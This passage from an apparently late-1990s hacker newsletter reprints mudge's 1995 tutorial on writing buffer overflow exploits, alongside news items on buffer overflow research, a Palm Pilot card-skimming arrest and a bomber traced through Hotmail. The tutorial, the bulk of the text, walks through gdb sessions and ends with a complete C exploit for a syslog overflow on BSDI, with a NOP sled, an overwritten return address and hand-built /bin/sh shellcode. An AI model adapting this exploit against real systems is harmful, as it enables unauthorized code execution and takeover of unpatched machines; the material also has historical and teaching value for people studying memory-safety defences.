      Goguen downplayed the hazard posed by most buffer overflows encountered by 
      Sun. He said they tended to open servers up to denial-of-service attacks, 
      which cause computers to crash and shut off service to users, rather than       
      open them up to invasion and control by the attacker.

      Microsoft, which last week patched a buffer overflow issue in its Windows 
      operating system, was not immediately available for comment.

      Part of the problem is that programmers have let down their guard against 
      a long-recognized hazard, according to one academic.

      "We're not learning the lessons of the past," said Matt Bishop, associate 
      professor of computer science at the University of California at Davis and 
      author of an upcoming book on computer security. "We knew how to handle 
      buffer       overflows in the 1960s and '70s. But the solutions that were 
      required typically either used hardware or were implemented within the 
      program itself. Some felt it made the program go too slow, so a lot of 
      programs went out there without buffer checks, and now we're paying the 
      price."

      The OGI paper will be read at DARPA's Information Survivability Expo at 
      Hilton Head Island, S.C., and at the SANS 2000 event in Orlando, Fla.

      The lead author for the OGI study, Crispin Cowan, in September became 
      chief technology officer of WireX, a server software firm that will sell 
      StackGuard, one of the buffer overrun solutions described in the paper. 
      Cowan remains a
      part-time professor at OGI.
      
      
      Mudge's Overflow paper
      
      (Included since its relatively short although I realize most of you
      have probably read it already you should perhaps READ IT AGAIN.)
      
        

                          How to write Buffer Overflows
      
      This is really rough, and some of it is not needed. I wrote this as a 
      reminder note to myself as I really didn't want to look at any more AT&T
      assembly again for a while and was afraid I would forget what I had done.
      If you are an old assembly guru then you might scoff at some of this... oh
      well, it works and that's a hack in itself. 
      
      -by mudge@l0pht.com 10/20/95 
      
      test out the program (duh). 
       --------syslog_test_1.c------------
      
       #include 
      
       char buffer[4028];
      
       void main() {
      
          int i;
      
          for (i=0; i<=4028; i++)
              buffer[i]='A';
      
          syslog(LOG_ERR, buffer);
       }
      
       --------end syslog_test_1.c----------
      
      
      Compile the program and run it. Make sure you include the symbol table for
      the debugger or not... depending upon how macho you feel today. 
      
       bash$ gcc -g buf.c -o buf
       bash$ buf
       Segmentation fault (core dumped)
      
      
      
      The 'Segmentation fault (core dumped)' is what we wanted to see. This tells 
      us there is definately an attempt to access some memory address that we 
      shouldn't. If you do much in 'C' with pointers on a unix machine you have
       probably seen this (or Bus error)
      when pointing or dereferencing incorrectly. 
      
      Fire up gdb on the program (with or without the core file). Assuming you 
      remove the core file (this way you can learn a bit about gdb), the steps 
      would be as follows: 
      
          bash$ gdb buf
          (gdb) run
          Starting program: /usr2/home/syslog/buf 
      
          Program received signal 11, Segmentation fault
          0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
      
      
      
      Ok, this is good. The 41's you see are the hex equivallent for the ascii 
      character 'A'. We are definately going places where we shouldn't be. 
      
          (gdb) info all-registers
          eax            0xefbfd641       -272640447
          ecx            0x00000000       0
          edx            0xefbfd67c       -272640388
          ebx            0xefbfe000       -272637952
          esp            0xefbfd238       0xefbfd238
          ebp            0xefbfde68       0xefbfde68
          esi            0xefbfd684       -272640380
          edi            0x0000cce8       52456
          eip            0x00001273       0x1273
          ps             0x00010212       66066
          cs             0x0000001f       31
          ss             0x00000027       39
          ds             0x00000027       39
          es             0x00000027       39
          fs             0x00000027       39
          gs             0x00000027       39
      
      
      
      The gdb command 'info all-registers' shows the values in the current 
      hardware registers. The one we are really interested in is 'eip'. On 
      some platforms this will be called 'ip' or 'pc'. It is the Instruction
      Pointer [also called Program Counter]. It points to the memory location
      of the next instruction the processor will execute. By overwriting this
      you can point to the beginning of your own code and the processor will 
      merrily start executing it assuming you have it written as native opcodes
      and operands. 
      
      In the above we haven't gotten exactly where we need to be yet. If you
      want to see where it crashed out do the following: 
      
       (gdb) disassemble 0x1273
          [stuff deleted]
          0x1267 :   incl   0xfffff3dc(%ebp)
          0x126d :   testb  %al,%al
          0x126f :   jne    0x125c 
          0x1271 :   jmp    0x1276 
          0x1273 :   movb   %al,(%ebx)
          0x1275 :   incl   %ebx
          0x1276 :   incl   %edi
          0x1277 :   movb   (%edi),%al
          0x1279 :   testb  %al,%al
      
      
      
      If you are familiar with microsoft assembler this will be a bit backwards
      to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax.
      In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles
      and on we go. 
      
      Note also that Intel assembler 
      
      let's go back and tweak the original source code some eh? 
      
       -------------syslog_test_2.c-------------
      
       #include 
      
       char buffer[4028];
      
       void main() {
      
          int i;
      
          for (i=0; i<2024; i++)
              buffer[i]='A';
      
          syslog(LOG_ERR, buffer);
       }
      
       -----------end syslog_test_2.c-------------
      
      
      We're just shortening the length of 'A''s. 
      
          bash$ gcc -g buf.c -o buf
          bash$ gdb buf
          (gdb) run
          Starting program: /usr2/home/syslog/buf 
      
          Program received signal 5, Trace/BPT trap
          0x1001 in ?? (Error accessing memory address 0x41414149: Cannot 
               allocate memory.
      
      
      
      This is the magic response we've been looking for. 
      
          (gdb) info all-registers 
          eax            0xffffffff       -1
          ecx            0x00000000       0
          edx            0x00000008       8
          ebx            0xefbfdeb4       -272638284
          esp            0xefbfde70       0xefbfde70
          ebp            0x41414141       0x41414141   <- here it is!!!
          esi            0xefbfdec0       -272638272
          edi            0xefbfdeb8       -272638280
          eip            0x00001001       0x1001
          ps             0x00000246       582
          cs             0x0000001f       31
          ss             0x00000027       39
          ds             0x00000027       39
          es             0x00000027       39
          fs             0x00000027       39
          gs             0x00000027       39
      
      
      
      
      Now we move it along until we figure out where eip lives in the overflow 
      (which is right after ebp in this arch architecture). With that known fact
      we only have to add 4 more bytes to our buffer of 'A''s and we will overwrite
      eip completely. 
      
      ---------syslog_test_3.c----------------
      
       #include 
      
       char buffer[4028];
      
       void main() {
      
          int i;
      
          for (i=0; i<2028; i++)
              buffer[i]='A';
      
          syslog(LOG_ERR, buffer);
       }
       -------end syslog_test_3.c------------
      
          bash$ !gc
          gcc -g buf.c -o buf
          bash$ gdb buf
          (gdb) run
          Starting program: /usr2/home/syslog/buf 
      
          Program received signal 11, Segmentation fault
          0x41414141 in errno (Error accessing memory address 
                           0x41414149: Cannot allocate memory.
      
      
          (gdb) info all-registers 
          eax            0xffffffff       -1
          ecx            0x00000000       0
          edx            0x00000008       8
          ebx            0xefbfdeb4       -272638284
          esp            0xefbfde70       0xefbfde70
          ebp            0x41414141       0x41414141
          esi            0xefbfdec0       -272638272
          edi            0xefbfdeb8       -272638280
          eip            0x41414141       0x41414141
          ps             0x00010246       66118
          cs             0x0000001f       31
          ss             0x00000027       39
          ds             0x00000027       39
          es             0x00000027       39
          fs             0x00000027       39
          gs             0x00000027       39
      
      
      
      BINGO!!! 
      
      Here's where it starts to get interesting. Now that we know eip starts at 
      buffer[2024] and goes through buffer[2027] we can load it up with whatever
      we need. The question is... what do we need? 
      
      We find this by looking at the contents of buffer[]. 
      
          (gdb) disassemble buffer
          [stuff deleted]
          0xc738 :   incl   %ecx
          0xc739 :   incl   %ecx
          0xc73a :   incl   %ecx
          0xc73b :   incl   %ecx
          0xc73c :   addb   %al,(%eax)
          0xc73e :   addb   %al,(%eax)
          0xc740 :   addb   %al,(%eax)
          [stuff deleted]
      
      
      
      On the Intel x86 architecture [a pentium here but that doesn't matter] 
      incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 
      0x0 hex. We will load up buffer[2024] to buffer[2027] with the address of 
      0xc73c where we will start our code. You have two options here, one is to 
      load the buffer up with the opcodes and operands and point the eip back 
      into the buffer; the other option is what we are going to be doing which 
      is to put the opcodes and operands after the eip and point to them. 

      The advantage to putting the code inside the buffer is that other than the 
      ebp and eip registers you don't clobber anything else. The disadvantage is 
      that you will need to do trickier coding (and actually write the assembly 
      yourself) so that there are no bytes that       contain 0x0 which will 
      look like a null in the string. This will require you to know enough about 
      the native chip architecture and opcodes to do this [easy enough for some 
      people on Intel x86's but what happens when you run into an Alpha? -- 
      lucky for us there is a gdb for Alpha I think ;-)]. 

      The advantage to putting the code after the eip is that you don't have to 
      worry about bytes containing 0x0 in them. This way you can write whatever 
      program you want to execute in 'C' and have gdb generate most of the 
      machine code for you. The disadvantage       is that you are overwriting 
      the great unknown. In most cases the section you start to overwrite here 
      contains your environment variables and other whatnots.... upon 
      succesfully running your created code you might be dropped back into a big 
      void. Deal with it. 

      The safest instruction is NOP which is a benign no-operation. This is what 
      you will probably be loading the buffer up with as filler. 

      Ahhh but what if you don't know what the opcodes are for the particular 
      architecture you are on. No problem. gcc has a wonderfull function called 
      __asm__(char *); I rely upon this heavily for doing buffer overflows on 
      architectures that I don't have assembler
      books for. 
      
       ------nop.c--------
       void main(){
      
       __asm__("nop\n");
      
       }
       ----end nop.c------
      
          bash$ gcc -g nop.c -o nop
          bash$ gdb nop
          (gdb) disassemble main
          Dump of assembler code for function main:
          to 0x1088:
          0x1080 :  pushl  %ebp
          0x1081 :        movl   %esp,%ebp
          0x1083 :        nop    
          0x1084 :        leave  
          0x1085 :        ret    
          0x1086 :        addb   %al,(%eax)
          End of assembler dump.
          (gdb) x/bx 0x1083
          0x1083 :  0x90
      
      
      
      Since nop is at 0x1083 and the next instruction is at 0x1084 we know that 
      nop only takes up one byte. Examining that byte shows us that it is 0x90 
      (hex). 
      
      Our program now looks like this: 
       ------ syslog_test_4.c---------
      
       #include 
      
       char buffer[4028];
      
       void main() {
      
          int i;
      
          for (i=0; i<2024; i++)
              buffer[i]=0x90;
      
          i=2024;
      
          buffer[i++]=0x3c;
          buffer[i++]=0xc7;
          buffer[i++]=0x00;
          buffer[i++]=0x00;
      
      
          syslog(LOG_ERR, buffer);
       }
       ------end syslog_test_4.c-------
      
      
      
      Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as
      3c c7 00 00. 
      
      Now the question we have is what is the code we insert from here on? 
      
      Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why someone
      would want to do something like this, but I hear there are a lot of nasty people out
      there. Oh well. Here's the proggie we want to execute in C code: 
      
       ------execute.c--------
       #include 
       main()
       {
          char *name[2];
          name[0] = "sh";
          name[1] = NULL;
          execve("/bin/sh",name,NULL);
       }  
       ----end execute.c-------
      
          bash$ gcc -g execute.c -o execute
          bash$ execute
          $ 
        
      
      
      Ok, the program works. Then again, if you couldn't whip up that little 
      prog you should probably throw in the towel here. Maybe become a 
      webmaster or something that requires little to no programming (or 
      brainwave activity period). Here's the gdb scoop: 
      
          bash$ gdb execute
          (gdb) disassemble main
          Dump of assembler code for function main:
          to 0x10b8:
          0x1088 :  pushl  %ebp
          0x1089 :        movl   %esp,%ebp
          0x108b :        subl   $0x8,%esp
          0x108e :        movl   $0x1080,0xfffffff8(%ebp)
          0x1095 :       movl   $0x0,0xfffffffc(%ebp)
          0x109c :       pushl  $0x0
          0x109e :       leal   0xfffffff8(%ebp),%eax
          0x10a1 :       pushl  %eax
          0x10a2 :       pushl  $0x1083
          0x10a7 :       call   0x10b8 
          0x10ac :       leave  
          0x10ad :       ret    
          0x10ae :       addb   %al,(%eax)
          0x10b0 :       jmp    0x1140 
          0x10b5 :       addb   %al,(%eax)
          0x10b7 :       addb   %cl,0x3b05(%ebp)
          End of assembler dump.
      
          (gdb) disassemble execve
          Dump of assembler code for function execve:
          to 0x10c8:
          0x10b8 :        leal   0x3b,%eax
          0x10be :      lcall  0x7,0x0
          0x10c5 :     jb     0x10b0 
          0x10c7 :     ret    
          End of assembler dump.
      
      
      
      This is the assembly behind what our execute program does to run /bin/sh.
      We use execve() as it is a system call and this is what we are going to 
      have our program execute (ie let the kernel service run it as opposed to
      having to write it from scratch). 
      
      0x1083 contains the /bin/sh string and is the last thing pushed onto the
      stack before the call to execve. 
      
          (gdb) x/10bc 0x1083
          0x1083 :  47 '/'  98 'b'  105 'i'  110 'n'  47 '/'  115 's'  
                              104 'h'  0 '\000'
      
      
      
      (0x1080 contains the arguments...which I haven't been able to really 
      clean up). 
      
      We will replace this address with the one where our string lives [when we
      decide where that will be]. 
      
      Here's the skeleton we will use from the execve disassembly: 
      
       [main]
          0x108d :        movl   %esp,%ebp
      
          0x108e :        movl   $0x1083,0xfffffff8(%ebp)
          0x1095 :       movl   $0x0,0xfffffffc(%ebp)
          0x109c :       pushl  $0x0
          0x109e :       leal   0xfffffff8(%ebp),%eax
          0x10a1 :       pushl  %eax
          0x10a2 :       pushl  $0x1080
      
       [execve]
          0x10b8 :        leal   0x3b,%eax
          0x10be :      lcall  0x7,0x0
      
      
      
      All you need to do from here is to build up a bit of an environment for the
      program. Some of this stuff isn't necesary but I have it in still as I haven't
      fine tuned this yet. 
      
      I clean up eax. I don't remember why I do this and it shouldn't really be
      necesarry. Hell, better quit hitting the sauce. I'll figure out if it is after
      I tune this up a bit. 
      
          xorl   %eax,%eax
      
      
      
      We will encapsulate the actuall program with a jmp to somewhere and a call 
      right back to the instruction after the jmp. This pushes ecx and esi onto the stack. 
      
          jmp    0x????  # this will jump to the call...
          popl   %esi
          popl   %ecx
      
      
      
      The call back will be something like: 
          call   0x????  # this will point to the instruction after the jmp (ie
                         # popl %esi)
      
       All put together it looks like this now:
      
       ----------------------------------------------------------------------
          movl   %esp,%ebp   
          xorl   %eax,%eax
          jmp    0x????  # we don't know where yet...
       # -------------[main]
          movl   $0x????,0xfffffff8(%ebp)  # we don't know what the address will
                                           # be yet.
          movl   $0x0,0xfffffffc(%ebp)
          pushl  $0x0
          leal   0xfffffff8(%ebp),%eax
          pushl  %eax
          pushl  $0x????                   # we don't know what the address will
                                           # be yet.
       # ------------[execve]
          leal   0x3b,%eax
          lcall  0x7,0x0
      
          call   0x????  # we don't know where yet...
      
       ----------------------------------------------------------------------
      
      
      
      There are only a couple of more things that we need to add before we fill
      in the addresses to a couple of the instructions. 
      
      Since we aren't actually calling execve with a 'call' anymore here, we need 
      to push the value in ecx onto the stack to simulate it. 
      
       # ------------[execve]
          pushl  %ecx
          leal   0x3b,%eax
          lcall  0x7,0x0
      
      
      
      The only other thing is to not pass in the arguments to /bin/sh. We do this 
      by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal 0xfffffffc(%ebp),%eax' 
      [remember 0x0 was moved there]. 
      
      So the whole thing looks like this (without knowing the addresses for the 
      '/bin/sh\0' string): 
      
          movl   %esp,%ebp 
          xorl   %eax,%eax # we added this
          jmp    0x????    # we added this
          popl   %esi      # we added this
          popl   %ecx      # we added this
          movl   $0x????,0xfffffff5(%ebp)
          movl   $0x0,0xfffffffc(%ebp)
          pushl  $0x0
          leal   0xfffffffc(%ebp),%eax  # we changed this
          pushl  %eax
          pushl  $0x????
          leal   0x3b,%eax
          pushl  %ecx       # we added this
          lcall  0x7,0x0
          call   0x????     # we added this
      
      
      
      To figure out the bytes to load up our buffer with for the parts that were 
      already there run gdb on the execute program. 
      
          bash$ gdb execute
          (gdb) disassemble main
          Dump of assembler code for function main:
          to 0x10bc:
          0x108c :  pushl  %ebp
          0x108d :        movl   %esp,%ebp
          0x108f :        subl   $0x8,%esp
          0x1092 :        movl   $0x1080,0xfffffff8(%ebp)
          0x1099 :       movl   $0x0,0xfffffffc(%ebp)
          0x10a0 :       pushl  $0x0
          0x10a2 :       leal   0xfffffff8(%ebp),%eax
          0x10a5 :       pushl  %eax
          0x10a6 :       pushl  $0x1083
          0x10ab :       call   0x10bc 
          0x10b0 :       leave  
          0x10b1 :       ret    
          0x10b2 :       addb   %al,(%eax)
          0x10b4 :       jmp    0x1144 
          0x10b9 :       addb   %al,(%eax)
          0x10bb :       addb   %cl,0x3b05(%ebp)
          End of assembler dump.
      
       [get out your scratch paper for this one... ]
      
          0x108d :        movl   %esp,%ebp
          this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
          thus we can see the machine code with gdb like this.
      
          (gdb) x/2bx 0x108d
          0x108d :  0x89  0xe5
      
      
      
      Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all
      of the instructions that we are pulling out of the execute program. You 
      can figure out the basic structure for the call command by looking at 
      the one inexecute that calls execve. Of course you will eventually need
      to put in the proper address. 
      
      When I work this out I break down the whole program so I can see what's
      going on. Something like the following 
      
          0x108c :  pushl  %ebp
          0x108d :        movl   %esp,%ebp
          0x108f :        subl   $0x8,%esp
      
          (gdb) x/bx 0x108c
          0x108c :  0x55
          (gdb) x/bx 0x108d
          0x108d :  0x89
          (gdb) x/bx 0x108e
          0x108e :  0xe5
          (gdb) x/bx 0x108e
          0x108f :  0x83
      
          so we see the following from this:
      
          0x55         pushl %ebp
      
          0x89         movl %esp,%ebp
          0xe5
      
          0x83         subl $0x8,%esp
      
          etc. etc. etc. 
      
      
      
      For commands that you don't know the opcodes to you can find them out for
      the particular chip you are on by writing little scratch programs. 
      
       ----pop.c-------
       void main() {
      
       __asm__("popl %esi\n");
      
       }
       ---end pop.c----
      
          bash$ gcc -g pop.c -o pop
          bash$ gdb pop
          (gdb) disassemble main 
          Dump of assembler code for function main:
          to 0x1088:
          0x1080 :  pushl  %ebp
          0x1081 :        movl   %esp,%ebp
          0x1083 :        popl   %esi
          0x1084 :        leave  
          0x1085 :        ret    
          0x1086 :        addb   %al,(%eax)
          End of assembler dump.
          (gdb) x/bx 0x1083
          0x1083 :  0x5e
      
      
      
      So, 0x5e is popl %esi. You get the idea. After you have gotten this far build 
      the string up (put in bogus addresses for the ones you don't know in the jmp's
      and call's... just so long as we have the right amount of space being taken up
      by the jmp and call instructions... likewise for the movl's where we will need
      to know the memory location of 'sh\0\0/bin/sh\0'. 
      
      After you have built up the string, tack on the chars for sh\0\0/bin/sh\0. 
      
      Compile the program and load it into gdb. Before you run it in gdb set a break
      point for the syslog call. 
      
          (gdb) break syslog
          Breakpoint 1 at 0x1463
          (gdb) run
          Starting program: /usr2/home/syslog/buf
      
          Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 
                               0xefbfdeac)
          (gdb) disassemble 0xc73c 0xc77f   
               (we know it will start at 0xc73c since thats right after the
                eip overflow... 0xc77f is just an educated guess as to where
                it will end)
      
          (gdb) disassemble 0xc73c 0xc77f
          Dump of assembler code from 0xc73c to 0xc77f:
          0xc73c :   movl   %esp,%ebp
          0xc73e :   xorl   %eax,%eax
          0xc740 :   jmp    0xc76b 
          0xc742 :   popl   %esi
          0xc743 :   popl   %ecx
          0xc744 :   movl   $0xc770,0xfffffff5(%ebp)
          0xc74b :   movl   $0x0,0xfffffffc(%ebp)
          0xc752 :   pushl  $0x0
          0xc754 :   leal   0xfffffffc(%ebp),%eax
          0xc757 :   pushl  %eax
          0xc758 :   pushl  $0xc773
          0xc75d :   leal   0x3b,%eax
          0xc763 :   pushl  %ecx
          0xc764 :   lcall  0x7,0x0
          0xc76b :   call   0xc742 
          0xc770 :   jae    0xc7da 
          0xc772 :   addb   %ch,(%edi)
          0xc774 :   boundl 0x6e(%ecx),%ebp
          0xc777 :   das    
          0xc778 :   jae    0xc7e2 
          0xc77a :   addb   %al,(%eax)
          0xc77c :   addb   %al,(%eax)
          0xc77e :   addb   %al,(%eax)
          End of assembler dump.
      
      
      
      Look for the last instruction in your code. In this case it was the 'call' to right
      after the 'jmp' near the beginning. Our data should be right after it and indeed 
      we see that it is. 
      
          (gdb) x/13bc 0xc770
          0xc770 :  115 's'  104 'h'  0 '\000'  47 '/'  
                                 98 'b'  105 'i'  110 'n'  47 '/'
          0xc778 :  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'
      
      
      
      Now go back into your code and put the appropriate addresses in the movl and 
      pushl. At this point you should also be able to put in the appropriate operands
      for the jmp and call. Congrats... you are done. Here's what the output will look
      like when you run this on a system with the non patched libc/syslog bug. 
      
          bash$ buf
          $ exit (do whatever here... you spawned a shell!!!!!! yay!)
          bash$ 
      
      
      
      Here's my original program with lot's of comments: 
      
       /*****************************************************************/
       /* For BSDI running on Intel architecture -mudge, 10/19/95       */
       /* by following the above document you should be able to write   */
       /* buffer overflows for other OS's on other architectures now    */
       /* mudge@l0pht.com                                               */
       /*                                                               */
       /* note: I haven't cleaned this up yet... it could be much nicer */
       /*****************************************************************/
      
       #include 
      
       char buffer[4028];
      
       void main () {
      
          int i;
      
         for(i=0; i<2024; i++)
           buffer[i]=0x90;
      
      
         /* should set eip to 0xc73c */
      
           buffer[2024]=0x3c;
           buffer[2025]=0xc7; 
           buffer[2026]=0x00; 
           buffer[2027]=0x00; 
      
         i=2028;
      
       /* begin actuall program */
      
      
           buffer[i++]=0x89; /* movl %esp, %ebp */
           buffer[i++]=0xe5;
      
           buffer[i++]=0x33; /* xorl %eax,%eax */
           buffer[i++]=0xc0;
      
           buffer[i++]=0xeb; /* jmp ahead  */
           buffer[i++]=0x29;
      
           buffer[i++]=0x5e; /* popl %esi       */
      
           buffer[i++]=0x59; /* popl %ecx        */
      
           buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */
           buffer[i++]=0x45;
           buffer[i++]=0xf5;
           buffer[i++]=0x70;
           buffer[i++]=0xc7;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
      
           buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */
           buffer[i++]=0x45;
           buffer[i++]=0xfc;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
      
           buffer[i++]=0x6a; /* pushl $0x0 */
           buffer[i++]=0x00;
      
       #ifdef z_out
           buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
           buffer[i++]=0x45;
           buffer[i++]=0xf8;
       #endif
      
       /* the above is what the disassembly of execute does... but we only
          want to push /bin/sh to be executed... it looks like this leal
          puts into eax the address where the arguments are going to be
          passed. By pointing to 0xfffffffc(%ebp) we point to a null 
          and don't care about the args... could probably just load up
          the first section movl $0x0,0xfffffff8(%ebp) with a null and
          left this part the way it want's to be */
      
           buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */
           buffer[i++]=0x45; 
           buffer[i++]=0xfc;
      
      
           buffer[i++]=0x50; /* pushl %eax */
      
           buffer[i++]=0x68; /* pushl $0xc773 */
           buffer[i++]=0x73;
           buffer[i++]=0xc7;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
      
           buffer[i++]=0x8d; /* lea 0x3b,%eax */
           buffer[i++]=0x05;
           buffer[i++]=0x3b;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
      
           buffer[i++]=0x51; /* pushl %ecx */
      
           buffer[i++]=0x9a; /* lcall 0x7,0x0 */
           buffer[i++]=0x00;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
           buffer[i++]=0x00;
           buffer[i++]=0x07;
           buffer[i++]=0x00;
      
           buffer[i++]=0xe8; /* call back to ??? */
           buffer[i++]=0xd2; 
           buffer[i++]=0xff;
           buffer[i++]=0xff;
           buffer[i++]=0xff;
      
           buffer[i++]='s';
           buffer[i++]='h';
           buffer[i++]=0x00;
           buffer[i++]='/';
           buffer[i++]='b';
           buffer[i++]='i';
           buffer[i++]='n';
           buffer[i++]='/';
           buffer[i++]='s';
           buffer[i++]='h';
           buffer[i++]=0x00;
           buffer[i++]=0x00;
      
           syslog(LOG_ERR, buffer);
       }
      
      
      
      
      
      Copyright 1995, 1996 LHI Technologies, All Rights Reserved

      
      @HWA
       
26.0  Palm Pilot Used In Credit Card Theft 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Arik 
      A Bloomingdale's cashier has been charged with criminal
      possession of forgery devices, unlawful duplication of
      computer data, criminal possession of computer material
      and criminal possession of stolen property, all of which
      are felonies. The charges came after 26 year old Tania
      Ventura used a magnetic stripe reader attached to a
      Palm Pilot to record the credit card information of
      customers at the store. (Why go to all the trouble of
      using a Palm Pilot when a pen and paper would be so
      much easier and would allow the copying of the
      information when the customer was not around to
      catch you. The only reason this made news was
      because a Palm Pilot was involved.) 

      Washington Post
      http://www.washingtonpost.com/wp-srv/aponline/19991124/aponline102449_000.htm
      
      CNN 
      http://www.cnn.com/TECH/ptech/9911/24/creditcardscam.ap/index.html
      
      Washington Post;
      
      Alleged NYC Credit Card Scam Foiled 

      By Donna De La Cruz
      Associated Press Writer
      Wednesday, Nov. 24, 1999; 10:24 a.m. EST

      NEW YORK –– A sharp-eyed tourist from Greece buying sunglasses at
      Bloomingdale's foiled an alleged credit card scam that may have affected a
      large number of shoppers. 

      Police Commissioner Howard Safir said Tuesday an investigation is
      continuing to determine how many credit card numbers are stored on a
      Palm Pilot – a hand-held electronic organizer – that is believed to belong
      to Tania Ventura, a 26-year-old cashier at the swank East Side
      department store. 

      The scam was discovered Monday when the tourist, a financial analyst
      whose name was not released, noticed his card was swiped twice when
      he purchased sunglasses. 

      "He asked what this was about, and he did not get a sufficient explanation,
      so he complained to the manager, and the manager then called us," Safir
      said. 

      After swiping a credit card through the store's credit card device, Ventura
      allegedly swiped it a second time through a credit card scanner attached
      to her Palm Pilot, Safir said. 

      "This device is capable of storing thousands of credit card numbers, and
      obviously, this individual was involved in stealing people's credit card
      numbers to sell or use for fraudulent purposes," Safir said. 

      Ventura was charged with criminal possession of forgery devices, unlawful
      duplication of computer data, criminal possession of computer material
      and criminal possession of stolen property – all felony charges. She could
      face up to seven years in prison if convicted. 

      Safir urged shoppers never to let credit cards out of their sight once they
      give on to a cashier. This is the first time police have seen the practice in
      New York City, Safir added. 

      Bloomingdale's spokeswoman Bonnie Brownlee said the company is
      cooperating fully with the police. She declined to comment further because
      the case is pending in court. 

                   © Copyright 1999 The Associated Press 
                   
                   
      CNN;   
      

      Cashier uses Palm Pilot in
      credit card scam

      November 24, 1999 
      Web posted at: 11:34 AM EST (1634 GMT) 

      NEW YORK (AP) -- A sharp-eyed tourist from Greece buying sunglasses
      at Bloomingdale's foiled an alleged credit card scam that may have affected
      a large number of shoppers. 

      Police Commissioner Howard Safir said Tuesday an investigation is
      continuing to determine how many credit card numbers are stored on a Palm
      Pilot that is believed to belong to Tania Ventura, a 26-year-old cashier at the
      swank Manhattan department store. 

      The scam was discovered Monday when the tourist, a financial analyst
      whose name was not released, noticed his card was swiped twice when he
      purchased sunglasses. 

      "He asked what this was about, and he did not get a sufficient explanation,
      so he complained to the manager, and the manager then called us," Safir
      said. 

      After swiping a credit card through the store's credit card device, Ventura
      allegedly swiped it a second time through a credit card scanner attached to
      her Palm Pilot, Safir said. 

      "This device is capable of storing thousands of credit card numbers, and
      obviously, this individual was involved in stealing people's credit card
      numbers to sell or use for fraudulent purposes," Safir said. 

      Ventura was charged with criminal possession of forgery devices, unlawful
      duplication of computer data, criminal possession of computer material and
      criminal possession of stolen property -- all felony charges. She could face
      up to seven years in prison if convicted. 

      Safir urged shoppers never to let credit cards out of their sight once they
      give on to a cashier. This is the first time police have seen the practice in
      New York City, Safir added. 

      Bloomingdale's spokeswoman Bonnie Brownlee said the company is
      cooperating fully with the police. She declined to comment further because
      the case is pending in court.              
      
      @HWA
      
      
27.0  Zero Knowledge on 60 Minutes 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by dov 
      Austin Hill, president of Internet privacy company
      Zero-Knowledge Systems, will be one of several experts
      talking to '60 Minutes' correspondent Lesley Stahl about
      the privacy implications of online profiling and data
      collection, and the scrutiny Internet users
      unintentionally open themselves to when going online.
      The show is scheduled to air Sunday, November 28,
      1999. 7:00 PM ET/PT. 

      Zero Knowledge Systems       
      http://www.zeroknowledge.com/clickthrough/click.asp?partner_id=542
      
      @HWA
      
28.0  HotMail Fingers Bomber 
      ~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      The FBI was able to arrest George Rocha of Greensboro
      North Carolina after he accessed his HotMail account
      from his home. He has been accused of planting bombs
      and extorting money from Lowe's Home Improvement
      stores. Five people where hurt in the bombings, one of
      them seriously. (When will people learn, Hotmail is not
      anonymous.) 

      The Charlotte Observer      
      http://www.charlotte.com/click/wiretech/pub/lowes.htm
      
      
      Posted at 10:19 a.m. EST Monday, November 22, 1999 
     
      Alleged bomber was tracked
      through e-mail account
     
      GREENSBORO (AP) -- The suspect accused of planting bombs and extorting
      money from Lowe's Home Improvement stores was tracked to his Greensboro
      home by his use of an Internet e-mail account, according to an FBI affidavit.
     
      Investigators say George Rocha slipped up when he accessed an e-mail account
      he had created with a fictitious name with his home computer instead of using
      public computers at libraries, his normal practice.
     
      Federal agents arrested Rocha, 51, on Nov. 12 and charged him with bombing
      Lowe's stores in Asheboro and Salisbury and planting a third bomb at a Concord
      store. Five people were hurt, one of them seriously.
     
      The FBI's Computer Crime Unit in Charlotte, one of only eight in the country,
      followed a trail of e-mail messages that led to the Baltic country of Latvia, where
      a bank account was opened and received the $250,000 Lowe's paid to stop the
      bombings.
     
      Chris Swecker, FBI special agent in charge for North Carolina, said an FBI agent
      stationed in the nearby country of Estonia was in contact with the Paritate Bank
      in Riga, Latvia, "minutes after the money transfer." The agent determined that the
      signature on the account was listed as Bruce J. Phillips, a name the FBI soon
      found to be fictitious.
     
      The FBI saw an e-mail the bank received from "Bruce Phillips" on Nov. 1 that
      used the e-mail address "brucephillips99hotmail.com"
     
      Hotmail is a free Internet mail service used by many people, especially people
      who travel a lot, said Greensboro detective Mark Steed, whose job includes
      investigating computer crimes. Anyone can establish an account with Hotmail in
      minutes, using a fictitious name and other fictitious information, Steed said.
     
      "It's a legitimate service, yes, but it's also used by some people for purposes that
      are not legitimate," he said.
     
      Knowing the name "Bruce Phillips" and the corresponding e-mail address was a
      major break for the FBI. Working from Hotmail's records, agents discovered that
      the fictitious account had been used at a public computer at the Greensboro
      Public Library and computers in Forsyth County and BellSouth.net Inc.
     
      Greensboro Public Library director Sandy Neerman said FBI agents served her
      with a court order to produce files showing who had used the library's public
      computers during the dates corresponding to the e-mail transfers using the
      account. Library patrons have to sign up on a list to use the library computer.
     
      Tracking Rocha to those computers would have been difficult, Swecker
